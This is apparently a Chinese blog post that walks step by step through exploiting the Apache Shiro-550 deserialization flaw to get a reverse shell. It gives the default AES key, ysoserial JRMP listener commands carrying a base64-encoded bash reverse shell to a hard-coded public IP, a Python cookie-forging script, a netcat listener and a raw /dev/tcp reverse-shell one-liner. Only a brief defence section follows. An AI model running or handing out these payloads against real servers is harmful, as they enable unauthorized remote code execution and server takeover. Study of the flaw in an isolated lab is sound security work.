当前位置: 首页 > news >正文

从Shiro的Cookie到反弹Shell:一次完整的Shiro-550漏洞复现与深度利用(含VPS配置与Payload生成)

Java反序列化漏洞实战:从Shiro-550漏洞复现到深度利用

在安全研究领域,Java反序列化漏洞因其广泛影响面和潜在危害性一直备受关注。本文将带您从零开始,通过一个典型的Shiro-550漏洞案例,完整演示如何搭建实验环境、检测漏洞、构造利用链,最终实现远程代码执行。不同于简单的概念讲解,我们更注重实战操作中的细节处理,包括VPS配置、Payload生成技巧以及可能遇到的各种"坑"的解决方案。

1. 环境准备与漏洞原理

1.1 实验环境搭建

为了安全地进行漏洞复现,建议使用隔离的云服务器环境。以下是基于Docker的快速搭建方案:

# 拉取漏洞环境镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器(映射8080端口) docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

验证环境是否正常运行:

  • 访问http://your-server-ip:8080
  • 应看到Shiro的默认登录页面

提示:实际渗透测试中,请确保获得系统所有者授权,本文仅用于教育目的。

1.2 Shiro-550漏洞核心原理

Apache Shiro框架的RememberMe功能存在设计缺陷:

  1. 使用硬编码的AES加密密钥(默认kPH+bIxk5D2deZiIxcaaaA==
  2. 对RememberMe cookie值执行以下处理流程:
    • Base64解码
    • AES解密
    • 反序列化解密后的数据

漏洞利用链的关键节点:

环节技术点风险点
Cookie构造恶意序列化对象生成需要正确的AES密钥
网络传输Base64编码处理特殊字符转义问题
服务端处理Java原生反序列化可利用的gadget链

2. 漏洞检测与利用准备

2.1 指纹识别与密钥检测

识别Shiro框架的简单方法:

  • 在请求Cookie中添加rememberMe=1
  • 检查响应中是否包含Set-Cookie: rememberMe=deleteMe

使用自动化工具检测默认密钥:

git clone https://github.com/insightglacier/Shiro_exploit cd Shiro_exploit pip install pycryptodome python shiro_exploit.py -u http://target:8080

常见检测结果分析:

  • 有效密钥:工具会显示可用的默认密钥
  • 无漏洞:可能原因包括:
    • 密钥已修改
    • 版本已修复
    • 网络策略限制

2.2 攻击面准备

需要准备的两台服务器角色:

  1. 攻击机(VPS)

    • 公网IP地址
    • 开放两个端口:
      • 9999(接收反弹Shell)
      • 6666(JRMP监听)
  2. 靶机

    • 运行存在漏洞的Shiro应用
    • 能与攻击机建立网络连接

网络配置检查清单:

  • 安全组规则(放行相关端口)
  • 防火墙设置(临时关闭或添加规则)
  • 网络可达性测试(使用ping/telnet)

3. 利用链构造与Payload生成

3.1 ysoserial工具链使用

下载并编译ysoserial:

git clone https://github.com/frohoff/ysoserial cd ysoserial mvn package -DskipTests

常用gadget对比:

Gadget名称适用场景依赖条件
CommonsCollections大部分Java环境CC库存在
JRMPClient需要二次反序列化网络可达
JNDI高版本JDK受限JNDI注入点

3.2 分阶段Payload构造

阶段一:建立JRMP监听

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 6666 \ CommonsCollections4 \ 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'

阶段二:生成RememberMe Cookie

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen( ['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode()))

执行脚本生成最终Payload:

python2 exp.py your-vps-ip:6666

4. 漏洞利用与后渗透

4.1 完整攻击流程

  1. 在VPS上启动Netcat监听:

    nc -lvnp 9999
  2. 构造HTTP请求(使用Burp或cURL):

    GET / HTTP/1.1 Host: target:8080 Cookie: rememberMe=...生成的Payload...
  3. 观察网络连接状态:

    • 应先建立到6666端口的JRMP连接
    • 随后建立到9999端口的Shell连接

4.2 常见问题排查

问题1:Payload发送后无响应

  • 检查VPS防火墙设置
  • 验证靶机出站网络策略
  • 尝试简化Payload(如执行ping命令测试)

问题2:收到连接但立即断开

  • 检查命令中的重定向符号转义
  • 确认Base64编码正确性
  • 尝试不同gadget链

问题3:执行权限受限

  • 尝试使用其他命令注入方式:
    bash -i >& /dev/tcp/your-vps-ip/9999 0>&1

4.3 防御建议

对于企业防御方,建议采取以下措施:

  • 立即行动项

    • 升级Shiro到最新版本
    • 修改默认加密密钥
    • 禁用不必要的反序列化功能
  • 长期加固方案

    • 实施Java安全管理器策略
    • 部署RASP防护
    • 建立反序列化白名单机制

在漏洞研究过程中,我深刻体会到防御的复杂性——即使是一个简单的硬编码密钥问题,也可能导致整个应用沦陷。建议开发者在设计安全敏感功能时,始终遵循最小权限原则,并定期进行安全审计。

http://www.jsqmd.com/news/967493/

相关文章:

  • 2025-2026年国内十大品牌策划公司推荐:专业评测市场份额特点价格案例适用场景
  • 上海宠物丧葬服务评测:靠谱机构的核心标准与实地对比 - 得赢
  • 思源宋体终极优化指南:5个策略让网页字体性能提升300%
  • 网盘下载限速终结者:9大主流平台直链解析工具完整指南
  • 2026年丹东市本地上门黄金回收门店指南 彩金+铂金+金条+白银回收门店联系方式推荐 - 奢金汇
  • ESP32+MicroPython驱动串口屏的即用型通信工程包(含HMI界面文件与UART控制脚本)
  • 如何解决ComfyUI-Manager安装失败:Git环境变量配置问题排查指南
  • 避开WRF后处理第一个坑:搞懂PH/PHB、P/PB这些‘扰动量’和‘基态量’到底啥关系?
  • PCIe 6.0实战前瞻:从L0p低功耗到新机制,看它如何重塑数据中心与AI硬件
  • 2026乌鲁木齐靠谱金银回收实地测评排行 - 余生黄金回收
  • 软令牌:让大模型学会模糊思考的连续概念表示法
  • 新手别怕!从零开始用Pwntools搞定CTF PWN题(附XCTF实战脚本)
  • # 太原新力惠中学校高补部:20年深耕,铸就高考复读标杆 - 中国企业名录优选推荐
  • GPT-4涌现能力解析:跨模态推理与自主工具调用的‘火花’实证
  • 从机载雷达到你的手机:缝隙天线是如何‘隐身’并改变我们生活的?
  • 从全局平均池化到自适应:用nn.AdaptiveAvgPool2d(1)轻松搞定你的CNN分类头
  • SpaceX IPO 前夕与谷歌达成协议,每月获 9.2 亿美元计算能力租金
  • 轻量级文档图像自动裁正工具:支持名片、试卷等矩形目标的角点检测与仿射校正
  • 2026年东城区本地上门黄金回收门店指南 彩金+铂金+金条+白银回收门店联系方式推荐 - 奢金汇
  • 深入理解 RLHF 与 PPO:基于大模型偏好对齐的 KL 散度控制与 Reward Model 实现原理
  • 从‘鲁棒性’到‘落地难’:滑模控制(SMC)在四旋翼无人机和机械臂里到底怎么用?
  • DeepSeek R1在Ollama中的量化封装:不是知识蒸馏,而是工程轻量化的实践路径
  • 3步实现无损视频剪辑:LosslessCut终极快速上手指南
  • 【RT-DETR实战】161、综合改进实验一:轻量化赛道(速度优先)
  • 2026广东标书代写机构综合实力TOP5排名|权威测评版 - 安华招标
  • 2026年东莞市本地上门黄金回收门店指南 彩金+铂金+金条+白银回收门店联系方式推荐 - 奢金汇
  • RocketMQ Dashboard权限配置实战:从零搭建带用户认证与角色管理的监控后台
  • 深度解析MTKClient:5个实战场景与底层通信架构原理
  • 北邮信通院数据结构实验包:C++二叉树链表实现与四大遍历完整代码
  • 10条高精度ChatGPT提示词:面向知识工作的工程化设计